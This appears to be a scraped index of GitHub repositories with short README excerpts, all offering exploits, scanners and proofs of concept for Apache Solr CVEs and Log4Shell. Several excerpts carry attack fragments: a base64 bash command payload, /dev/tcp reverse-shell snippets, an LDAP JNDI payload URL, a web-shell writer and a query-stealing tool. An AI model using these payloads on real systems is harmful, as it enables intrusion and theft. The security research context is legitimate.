CVE-2021-27905.POC

CVE-2021-27905.POC POC for LFI related to CVE-2021-27905 POC for apache-solr-file-read nuclei template Use traverse.sh path For example, using /root as path, will display the content of all files recursively ./traverse.sh /root It's also possible to traverse and get the content of every file on t...

CVE-2026-22444

CVE-2026-22444 Apache Solr UNC Path Validation Vulnerability Overview This vulnerability was discovered and disclosed to Apache in 2025. It affects Apache Solr's core creation functionality, where network access to UNC paths occurs before path validation checks are performed. On Windows systems...

CVE-2026-44825-Apache-Solr-Scanner

CVE-2026-44825 Apache Solr Scanner This repository contains a Go-based scanner for detecting and testing Apache Solr instances that may be affected by CVE-2026-44825, related to Velocity Template Remote Code Execution RCE conditions. The tool can scan a single target or a list of targets, detect...

solr_rce

Apache Solr RCE via Velocity template python usage: python solrrce.py http://x.x.x.x:8983 command getshell encode payload http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Introduction to Solr Solr is an open-source enterprise search platform...

Log4Shell-Vulnerability-Replication

CVE-2021-44228 Log4Shell Vulnerability Complete Replication Record This record is based on the Apache Solr 8.11.0 target environment provided by Vulhub, fully replicating the Log4j2 JNDI injection vulnerability, and successfully verifying the vulnerability's existence through DNSLog and local LDA...

CVE-2020-13957

Apache Solr RCE CVE-2020-13957 Docker Demo Mac Demo NVD CVE-2020-13957 Description NVD CVE-2020-13957 Apache Solr versions 6.6.0 to 6.6.6, 7.0.0 to 7.7.3 and 8.0.0 to 8.6.2 prevents some features considered dangerous which could be used for remote code execution to be configured in a ConfigSet...

apache-solr-log4j-CVE-2021-44228

This repository does not have a README...

CVE-2020-1947

CVE-2020-1947 usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

Solr-RCE-CVE-2019-0192

Solr-RCE-CVE-2019-0192 Apache Solr remote code execution via dataImportHandler Target Solr version: 1.3 – 8.2 Requirements: DataImportHandler should be enabled, which is not by default. I have tested on version 6.2 python python solrRCE.py...

CVE-2021-27905

CVE-2021-27905 Apache Solr ReplicationHandler Server Side Request Forgery SSRF Hit Counter Apache Solr stands for Searching On Lucene with Replication is a free, open-source search engine based on the Apache Lucene library. Written in Java. Apache Solr has RESTful XML/HTTP and JSON APIs and clien...

Apache-Solr-RCE_CVE-2023-50386_POC

Apache-Solr-RCECVE-2023-50386POC Apache Solr Backup/Restore APIs RCE Poc CVE-2023-50386 References respect to the masters: CVE-2023-50386 vulnerability author's blog Java Security Manager Bypass Techniques Bypassing Reflection Protection in JDK 17 JNI Bypassing RASP Vulnerability exploitation...

cve-2017-12629

README Remote code execution occurs in Apache Solr before 7.1 with Apache Lucene before 7.1 by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML...

Solr-SSRF

Solr-SSRF CVE-2021-27905 The repeat package in the Burp file contains specific steps for reproduction. The POC is a detection plugin for Xray...

CVE-2021-44228

Log4j Vulnerability - CVE-2021-44228 📗 Introduction This vulnerability was discovered on December 9, 2021, identified with CVE-2021-44228 , this flaw affects the java log package, generating a Severity Score CVSS of 10 points , providing execution of remote access to the host. This vulnerability...

ApacheSolrRCE

Project Statement For information security teaching and communication only. Do not use for illegal testing or attacks. ApacheSolrRCE ApacheSolrRCE CVE-2019-0193 one-click write shell, the principle is to write a web shell through code execution of Java file stream. Note: The author is not very...

Solr-GRAB

Solr-GRAB Steal Apache Solr instance Queries with or without a username and password. DISCLAIMER : This project should be used for authorized testing and educational purposes only. Download git clone https://github.com/GnosticPlayers/Solr-GRAB Usage You can search for Apache Solr Instances via...

Apache-Solr-RCE-via-Velocity-template

Apache-Solr-RCE-via-Velocity-template Reference link Vulnerability Cause: 1. When an attacker can directly access the Solr console, they can modify the node's configuration file by sending a POST request similar to /nodename/config. 2. Apache Solr integrates the VelocityResponseWriter plugin by...

CVE-2019-12409

CVE-2019-12409 Apache Solr RCE ENABLEREMOTEJMXOPTS="true" root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true" Enables log rotati...

Solr-SSRF

Solr-SSRF Apache Solr SSRF Usage - Apache Solr SSRF vulnerability CVE-2021-27905 - Options: -h or --help : Description -u or --url : Site URL address -d or --dnslog : DnsLog Example python3 CVE-2021-27905.py -u URL -d dnslog...